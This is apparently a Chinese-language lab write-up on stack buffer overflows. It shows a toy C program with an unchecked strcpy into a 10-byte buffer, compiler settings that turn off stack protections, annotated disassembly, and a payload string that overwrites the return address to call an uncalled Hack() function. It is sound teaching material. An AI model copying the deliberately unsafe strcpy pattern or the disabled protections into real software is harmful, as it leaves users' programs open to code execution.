缓冲区溢出
缓冲区溢出漏洞分析原理通过实现理解缓冲区溢出漏洞的原理,清楚在程序调用过程中内存栈的变化。
源代码
#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int sub(char* x)
{
char y[10];
strcpy(y, x);
return 0;
}
int main(int argc, char** argv)
{ if (argc > 1)
sub(argv[1]);
printf("exit");
}
运行时项目属性设置:
1.‘c/c++’—‘代码生成’—'启用C++异常’设置为空—'基本运行时检查’设置为空—‘安全检查’设置为’禁用安全检查(/GS-)’
2.‘c/c++’—‘所有选项’—'SDL检查’设置为否* 命令参数设置:‘设置属性’—‘调试’—'命令参数’设置的参数由短到长查看EBP,EIP,ESP的变化如下图:
反汇编代码
int sub(char* x)
{ 007D1580 55 push ebp //局部变量入栈
007D1581 8B EC mov ebp,esp
007D1583 83 EC 4C sub esp,4Ch
007D1586 53 push ebx
007D1587 56 push esi
007D1588 57 push edi
007D1589 B9 08 90 7D 00 mov ecx,7D9008h
007D158E E8 1B FC FF FF call
007D11AE char y[10]; strcpy(y, x);
007D1593 8B 45 08 mov eax,dword ptr [ebp+8]
007D1596 50 push eax
007D1597 8D 4D F4 lea ecx,[ebp-0Ch]
007D159A 51 push ecx
007D159B E8 3B FC FF FF call
007D11DB //调用函数,并将函数下一条指令入栈
007D15A0 83 C4 08 add esp,8 r
eturn 0;
007D15A3 33 C0 xor eax,eax }
int main(int argc, char** argv) {
007D1650 55 push ebp //ebp入栈
007D1651 8B EC mov ebp,esp //esp指向ebp位置
007D1653 83 EC 40 sub esp,40h //esp减40h,上移
007D1656 53 push ebx //ebx入栈
007D1657 56 push esi //esi入栈
007D1658 57 push edi //edi入栈
007D1659 B9 08 90 7D 00 mov ecx,7D9008h //7D9008h的值给ecx
007D165E E8 4B FB FF FF call 007D11AE //调用函数
if (argc > 1)
007D1663 83 7D 08 01 cmp dword ptr [ebp+8],1 //
007D1667 7E 17 jle 007D1680 //不大于跳转,大于顺序执行 sub(argv[1]);
007D1669 B8 04 00 00 00 mov eax,4 //eax=4
007D166E C1 E0 00 shl eax,0 //eax值没变
007D1671 8B 4D 0C mov ecx,dword ptr [ebp+0Ch]//ecx的值等于ebp+0Ch的值
007D1674 8B 14 01 mov edx,dword ptr [ecx+eax] //edx的值等于ebp+0Ch+4的值
sub(argv[1]);
007D1677 52 push edx
007D1678 E8 73 FA FF FF call 007D10F0
007D167D 83 C4 04 add esp,4
printf("exit");
007D1680 68 30 5B 7D 00 push 7D5B30h
007D1685 E8 AD F9 FF FF call 007D1037
007D168A 83 C4 04 add esp,4
}
007D168D 33 C0 xor eax,eax
007D168F 5F pop edi //之后都在出栈
007D1690 5E pop esi
007D1691 5B pop ebx
007D1692 8B E5 mov esp,ebp
007D1694 5D pop ebp
007D1695 C3 ret //
退出程序打开反汇编、寄存器、内存观察寄存器的变化,分析内存中的数据变化:
1.EIP指向当前指向指令所在的地址,由下图可以看到,eip的值会随着程序执行而变化
2.ESP是栈顶指针,当调用函数时,ESP的值会减小
分析画图
关于内存中数据变化的分析如下图所示
缓冲区溢出漏洞利用根据缓冲区溢出漏洞原理,执行未被调用的函数
实验步骤实验代码
#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int sub(char* x){
char y[10];
strcpy(y, x);
return 0;
}
void Hack()
{
printf("You are hacked!");
}
int main(int argc, char** argv)
{
char str[30] = "aaabaaacaaadaaae\x80\x15\x21\x03";
sub(str);
//实现Hach函数时使用以上两行
//寻找溢出边界时使用以下两行
//if (argc > 1)
//sub(argv[1]);
printf("exit");}
更改命令参数设置(由于太长,此处以报错时的内存显示具体字符串值)![在这里插入图片描述](https://img-blog.csdnimg.cn/20200220232103164.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MjcxNzEyMQ==,size_16,color_FFFFFF,t_70
- 一定要用有规律的字符串,由于初次没有使用有规律的字符串,出错了,很久都没有找到原因,也无法解决
- 之后再次反思,其实不用命令参数设置,直接使用"aaabaaacaaadaaaeaaafaaagaaah"字符串,找到返回函数地址然后替换即可
调试执行,看到如下图出现报错,函数返回失败。说明是在0x66616161的位置出现了溢出报错,因为将此处换为Hack()函数的地址,来执行Hack()函数、反汇编找到Hach函数的地址、因此替换0x66616161处的地址后,字符串为"aaabaaacaaadaaae\x80\x15\x21\x03",执行以后看到如下结果。
实验总结
- 调用strcpy等拷贝函数前应该先检查参数长度,清楚参数的含义
- 可以利用缓冲区溢出漏洞,由于拷贝的参数太长,会覆盖栈中被拷贝参数以下的数据,比如返回地址被拷贝之后无法正确执行就会报错,因此根据报错可以寻找到返回地址,替换为我们需要执行的目标函数的地址,从而执行目标代码,或者访问到对方不想让我们访问的数据